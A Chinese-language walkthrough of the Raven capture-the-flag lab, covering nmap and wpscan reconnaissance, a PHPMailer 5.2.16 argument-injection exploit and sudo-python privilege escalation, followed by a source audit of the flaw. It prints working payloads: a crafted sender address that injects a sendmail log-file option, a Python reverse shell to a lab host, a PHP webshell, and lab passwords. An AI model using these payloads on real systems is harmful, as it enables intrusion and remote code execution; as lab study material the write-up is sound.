信息搜集
主机发现
nmap -sn 192.168.8.0/24

端口扫描
nmap -sT --min-rate 10000 192.168.8.4 -p-

nmap -sT -sC -sV -O 192.168.8.4 -p22,80,111,39661

漏洞扫描
nmap --script=vuln 192.168.8.4 -p80,111,39661
有目录枚举漏洞和一个form表单提交页面,另外发现了wordpress



wordpress渗透
wordpress一般优先级比较高
wpscan用户名枚举
wpscan --url http://raven.local/wordpress/ -e u
扫到用户名michael steven

wpscan密码爆破
wpscan --url http://raven.local/wordpress/ -U username.txt -P /usr/share/wordlists/rockyou.txt
爆破比较耗时间

邮件服务渗透
vendor目录有一个phpmailer邮件服务,版本是5.2.16


漏洞利用
searchsploit phpmailer

searchsploit -m 40974
联想到首页有个邮箱留言处target设置为该链接

修改payload
修改target、backdoor、反弹shell位置

运行脚本

反弹shell
访问生成的shell.php,成功反弹shell

提权
wordpress数据库渗透
先找到wp-config.php 文件
拿到密码R@v3nSecurity

登录靶机数据库,查找账号密码
mysql -uroot -p
show databases;
use wordpress;

hashcat md5碰撞
先用识别一下hash种类
hash-identifier

查看一下手册中对应的类型
man hashcat
编码是400

hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
拿到一个密码pink84

这个时候其实一开始的wordpress密码爆破也出结果了

sudo提权
sudo -l
有个免密的sudo python权限

提权宝典
https://gtfobins.org

python -c 'import os;os.execl("/bin/bash","sh")'

代码审计
简单审一下phpmailer5.2.16源码分析一下漏洞原理
可疑函数方法清单
审计的第一步不是找漏洞,是理解这个函数方法对外暴露了什么能力。每个 public 方法都是一个可能被攻击者调用的入口
先找出涉及到参数传递的函数
setfrom 设置发件人
php
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
addAttachment 设置附件
php
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
send发送邮件
php
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
触发流程跟踪
send()函数是整个流程的触发器,顺着 send() 往下追 ,参数是如何流转?
presend()
先看presend,这是一个发送前的安全检查

validateAddress()
里面有一个合法地址筛查函数validateAddress()

检查了\r\n换行,这个是预防CRLF邮件头注入 的,(换行之后可以注入自己邮箱地址,获取邮件)
但是它没有考虑拼接命令行注入。
还用正则表达式校验了邮箱的格式

postSend()
看 postSend ------ 数据是怎么被"用掉"的
它通过三条路径发送邮件
sendmailSend、smtpSend、mailSend

sendmailSend这个有过滤函数,过滤了命令执行

mailSend
mailSend没有做参数过滤

对比一下两个方法
sendmailSend: escapeshellarg($this->Sender) ← 安全的写法
mailSend: $this->Sender ← 裸的,没包裹
sprintf
最后到sprintf,它是一个格式化字符串函数。它有且只有一个任务:把占位符替换成对应的值。
sprintf 是一个格式化字符串函数。它有且只有一个任务:把占位符替换成对应的值。
模板: '-f%s'
│││
││└── %s = 占位符,代表"这里插一个字符串"
│└─── f = 字面字符 'f'
└──── - = 字面字符 '-'
传入值: $this->Sender = 'root@localhost'
替换结果: '-f' + 'root@localhost' = '-froot@localhost'
sprintf 做的是纯字符串拼接,它不关心你传进来的是什么,也不关心拼出来的结果会被拿去干什么。它就像胶水,把 -f 和你给的数据粘在一起。
---
正常用户:
$mail->setFrom('admin@company.com');
进程:
$this->Sender = 'admin@company.com'
↓
sprintf('-f%s', 'admin@company.com')
↓
$params = '-fadmin@company.com'
↓
mail($to, $subject, $body, $header, '-fadmin@company.com')
↓
PHP 内部执行: /usr/sbin/sendmail -fadmin@company.com
↓
sendmail 解读: 只有一个参数 -f,值为 admin@company.com
含义: "信封发件人 = admin@company.com"
验证恶意参数可控
setfrom
返回setfrom查看数据源头,一个是address,一个是name
攻击者的输入直接赋值给 Sender,代码注释里面写了没有做校验,校验交给了send()函数;)

验证1:数据源头 --- 攻击者能控制 Sender 吗?
// 回到 setFrom
public function setFrom($address, $name = '', $auto = true)
{
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address; // ← 攻击者的输入直接赋值给 Sender
}
}
}
能。 攻击者调用 $mail->setFrom('恶意字符串'),Sender 就被污染了。
验证2:过滤链 --- validateAddress 能拦住吗?
构造测试字符串,脑内模拟正则:
攻击者输入: "attacker\" -X /var/www/shell.php \"@evil.com"
validateAddress() 只检查:
├── 有 \r \n 吗? → 没有 → 放行
└── 匹配邮箱正则吗? → RFC5322 引号本地部分可含空格和转义引号 → 匹配 → 放行
结论: validateAddress 拦不住
验证3:拼接结果 --- 生成的命令是什么?
$this->Sender = "attacker\" -X /var/www/shell.php \"@evil.com"
sprintf('-f%s', $this->Sender) 的结果:
-f"attacker" -X /var/www/shell.php "@evil.com
sendmail 将空格视为参数分隔符:
-f"attacker" 参数1: 设置envelope发件人
-X/var/www/shell.php 参数2: 把日志写到 webshell 路径 ← 注入成功
"@evil.com 参数3: 无效但被忽略
验证4:$name也只做了换行校验,没有做内容校验可以直接写入反弹shell
$address
payload
"attacker\" -X /var/www/shell.php \"@evil.com"
$name
payload
<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.8.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?
总结
阶段一: 武器部署 (Weaponization) │
│ │
│ 攻击面: $address 参数 │
│ 利用手法: RFC5322 引号本地部分内嵌空格→撕裂 -f 参数 │
│ 注入载荷: -X/var/www/html/shell.php │
│ 效果: 告诉 sendmail"把日志写到这个 PHP 文件" │
│ 关键: 这里不需要 PHP 代码,只需要 sendmail 选项 │
├──────────────────────────────────────────────────────────────┤
│ 阶段二: 弹药装载 (Payload Delivery) │
│ │
│ 攻击面: $name, 参数 │
│ 利用手法: 这些值经过 secureHeader(去\r\n)+encodeHeader(phrase) │
│ 后出现在邮件头部和正文中,sendmail 日志原样记录 │
│ 注入载荷: <?php system($_GET["cmd"]); ?> │
│ 效果: 日志文件成为可执行的 PHP webshell │
│ 关键: 载荷是普通 PHP 代码,没有特殊绕过需求